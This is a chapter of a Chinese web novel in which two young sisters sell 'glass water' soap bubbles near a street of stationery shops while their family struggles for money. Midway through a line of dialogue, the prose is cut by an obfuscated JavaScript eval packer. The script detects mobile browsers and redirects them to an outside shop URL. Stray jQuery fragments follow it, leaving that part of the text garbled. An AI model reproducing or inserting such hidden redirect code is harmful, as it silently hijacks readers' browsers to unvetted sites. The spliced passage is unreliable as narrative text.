夏日炎炎,唯有日落西山后,蒸腾的大地才能重归平静,热意沿着地面下沉,半空中的风多了一些凉爽。
付宁付安盘腿坐在廊下还有些温热的石凳上,对着忙碌的白月娘两人诉说着今日下午的趣事。
“....窦阿婆送给我们麦饼吃,胡大壮没得吃,气得脸比打夜胡的将军还要红。”付安小米牙啃在没肉的大棒骨上,含含糊糊地与爹娘说起隔壁好心阿婆和她那恶人孙子,一边说一边冲着付宁使眼色,想让她跟着一同添油加醋。
此处街巷周边的住户年纪与白月娘两口子相仿,白日里鲜少有在家的,多在外做工。
她们今日一连敲了好几家房门,好几家的孩子比她的年纪还小,有的被爹娘嘱咐过,还会凶巴巴地仿着大人的声音说:“我不在家!你莫要再敲门了!”
一连几户铩羽而归,就在付宁快要认命时,窦阿婆从门里走出来,问明白她们是要借火的,因不放心两个孩子,干脆让她们在自己院子里做活。
不光给她们点了柴火,还好心给她们麦饼吃,也怪不得胡大壮不乐意,大热天的,谁耐烦招待生人在家中烤火吃饼?
东厢房门扉半敞,付守川双手提起一张破旧的木桌,白月娘的扫帚迅速在木桌下挥舞几下,见无甚灰尘,复又转到另一张木桌旁。
这些木桌都是为了放租出去存放货物特地淘弄来的,小商贩的东西杂,有的轻巧不耐放,便需要有这样一张木桌将上下隔开。
听见付安的话后,付守川应和道:“那窦阿婆人还怪好的!以后爹爹定会好好教导她孙儿!”
......胡大壮的无妄之灾!
难为他小小年纪,很快就要体会到什么叫好人没好报了!
付安听到爹的话,乐得使劲晃悠起她的小脑袋。
付宁思索良久后开口:“爹,能不能与窦阿婆说说,让阿圆明日过去呆一呆?”
付安身形僵住,猛地回头,不可思议地看向付宁,瘪嘴就要哭。
一直沉默的白月娘在付安前摇之前及时打断她,硬邦邦冲付宁道:“你带着她一同去,否则便一道留在家里,别出门了!”
付安靠在付宁身旁,缩起肩膀不说话,只可怜兮兮望着她。而听到白月娘冷硬话语的付宁只应了一声“好”,便再也不言语了。
原本热闹的小院,忽然之间陷入沉寂之中。
付守川和白月娘在天色完全暗下来之前勉强将东厢房打扫过一遍,又给两个孩子烧了热水洗漱后,也双双躺下休息。
付安虽然没掰多少根竹子,却与胡大壮在院子中闹腾许久,此时累得狠了,很快便打起小鼾。
听着她的沉重呼吸声,付宁却一时睡不着。
她枕着双手,反复思索明日要出摊需要准备的一切。
阵阵蝉鸣是天然的白噪音,没多久,她也双眼发沉,意识逐渐沉入梦乡。
沉睡前,压低沉闷的声音从隔壁传来:“你对孩子发什么火?”
“哪里还有钱去给人看孩子....”
“如今都要替人家养儿子了!还要如同往年一样供养.....”
“....又是什么道理!”
断断续续的声音自外间传到屋内,付宁挣扎着想要听得清楚一些,却还是不敌困意,昏昏沉沉地睡了过去。
翌日一早,
付宁和付安眼睛还未睁开,身体已经先从床上爬起来了,俩人摸摸索索,嗅嗅闻闻,一路奔着香味的来源去。
“哐——”
头磕在门板上的声音响起,白月娘“哎呦哎呦”地上前,一把拉住两人,紧张地左瞧瞧右看看。
付宁勉强睁开一只眼睛,先是看到白月娘一脸的心疼,又见她脸色几经变化,最后停留在尴尬紧张的情绪上。
“娘,今天怎么起这么早?”
听到付宁一如既往的温和询问,白月娘眼神复杂地看向她。
昨天她说完那话就后悔了,本以为又会是一场不休的争执,谁知付宁只说了句好。这样平淡的反应,让她一整夜都没睡好。
这不,天还没亮,她就从床上悄声爬起来,摸出一把钱,给两个孩子买了豆腐脑、油炸糕和肉卷。
她本以为,按照阿满的性子,昨天虽不发作,今日也不会有什么好脾气,她正好借机哄上一哄。
谁知这孩子病了一场,反倒像是变了一个人一般,一点脾气都没了!
香喷喷的豆腐脑滑进嘴巴里,油滋滋香甜甜的油炸糕发出“咔嚓咔嚓”的脆响,鲜香四溢的肉卷在蒸屉中汁水横流,还有白月娘在旁小心翼翼地偷看。
付宁看着她的纠结有些好笑。原主大约是要闹的,可她不是原主,这气生不起来。家里什么光景,她这几日看得清清楚楚。
两口子先前早出晚归还能说是为了攒钱去庙里上香,可从庙里回来后,这样的忙碌依旧没有停下,饭菜也从两天一次的肉糜变成了三天一次的没□□骨,再加上没人租赁的东厢房,家中怕是要没钱了。
都说手里有粮,心中不慌。
手中没钱,自然压力会变得更大,一件很小的事情都会让本就摇摇欲坠的情绪雪上加霜。
“娘,你也吃!”付宁端起白月娘的碗,夹起一筷子肉卷给她。
白月娘还想推脱不要,付宁却很坚持:“快些吃吧,最近你都累瘦了。”
白月娘“哎”了一声,强忍着心里的酸涩,低头闷声吃了起来。
等到桌上的饭菜被母女三人分吃完毕,付安小朋友这才后知后觉想起自己还有个爹:“娘,爹呢?”
白月娘脸上的尴尬都快溢出来了,她回头躲过付安追视的目光,慌乱道:“你们不是还要出摊吗?别耽误了时辰。”
她哪能说付守川天没亮就被她赶了出去,她能跟孩子说这个吗!
付宁听闻,也顾不得付守川的去处,将昨晚收拾好的竹篮木桌一一检查了一遍,看没有遗漏的,这才拿起舀子仔细把调好的皂液灌进大小不一的竹桶里,用竹塞塞好后,整整齐齐码放在竹篮中。
收拾完这一切,天色也大亮了,她这才拉着付安出了门。
——
“姐姐,还要吹多久呀?”付安顶着烈日吹了半桶的泡泡,来问的人很多,却没几个买,如今她又热,脸颊也疼疼的,只觉得又委屈又难过。
付宁轻咳一声,眼光扫过陆陆续续离开的人群,她哑着嗓子,扭头看向付安:“走!我们换一个地方!”
一路上,付安缩着脖子左顾右盼,活脱脱做了贼的模样道:“真要走吗?爹娘说了,咱们不能离开这条街。”
付宁解释:“你瞧,这条街上卖的都是家里用的杂物,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891715|212768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往来的也都是各家的当家的汉子和妇人,他们买个蒸屉都要饶进去一张盖帘的,又怎么能花钱买咱们的东西?”
折叠的木桌虽算桌子中最轻巧便携的,到底对她来说还是沉了些,木桌上的绳结卡在她的肩膀上,来回走动间摩擦着皮肉,让她生疼。
付宁却没有因为肩膀上的疼痛停下,她沿着街从头走到尾,偶尔停下来与路边乘凉的摊贩闲谈几句,拐来拐去又拐到了另一条街上。
街巷相通,付安压根没察觉已经换了街,只听姐姐说这条街比较长,便懵懂地随着她往前走。
两人穿街过巷,走了许久后才终于停了下来。
付宁看着这条街的繁华景象,长长呼出一口气,这才对嘛!
瞧瞧,周边一溜儿的店铺都卖文房四宝,时不时还能看见顶着总角背书箱或者卷布包的小孩子,或被大人拎着哇哇大哭的小孩子进入其中。
这里不似临水街那般热闹非常,也并无卖饮子吃食的摊子,却是最适合卖泡泡水的地方。
“来!吹!”
付宁一声令下,付安也不顾脚痛和疲惫,用弯好的小竹条沾了沾皂角水,噗哈哈地吹了起来。
一连串的晶莹泡泡自她口中飞出,仿佛海中的小鱼悠哉吐气一般,不一会儿就吸引了许多人的目光。
有胆大的孩子上前,背着手问:“喂,你这是卖什么的?怎么玩的?多少钱?”
付宁这次带了二十桶小桶皂角水,还有十桶大皂角水,加起来一共三十桶。
她原本想好了,小桶皂角水三文钱,大桶五文钱。
可如今她却变了想法,她先是高声叫喊:“小桶五文钱,大桶八文钱,先到先得!”
又对着面前小孩宣传她想出的典雅名字:“我们这个叫琉璃水,只要用竹条沾上,就能吹出这样的琉璃泡泡来,若是不喜欢吹,也可以跑起来,跑起来就会有源源不断的泡泡飘出来。”
“啥叫源源不断?”
付宁身体力行地给他演示了一遍,手拿竹条飞快从空中掠过,三五个晶莹泡泡便从竹条中飞出,绚丽多彩,又引得好几人驻足围观。
眼前小郎君显然是个不学无术的,他从兜里抓出一把铜钱递给付宁:“都给我装起来!”
付宁看到他手中的铜板,仔细数数,只有二十二枚。
她先划出八个,再划出八个,又将剩下的数出五枚,剩出一枚退给他。
“这是一大桶,再一大桶,一小桶,承惠一共二十一文!”
不学无术的小郎君嘟起脸,愁眉不展地看着一把铜钱只换了三桶,不信邪的数了两遍,见的确只能换三桶,沮丧道:“好吧!那等我下旬有了钱再与你换!你可要时常来呀!”
付宁笑眯眯地点点头,心情很好地看着这个大客户。
有一就会有二三,都不用付安多努力地吹,付宁的小木桌前依然排起了长队,有的会算账,便掏出五文八文的递给付宁。有的不会算账,便要付宁挨个数给他们。还有的学着父母的样子与付宁讲价,虽然没降下来,但也乐滋滋地拿着桶子跑了。
只是....
“泡泡水!泡泡水!”
跑走的小孩儿大声叫嚷,引得没钱买的娃娃们在他身后疯跑。
是琉璃水!
呜,她辛苦想出来的高端名字!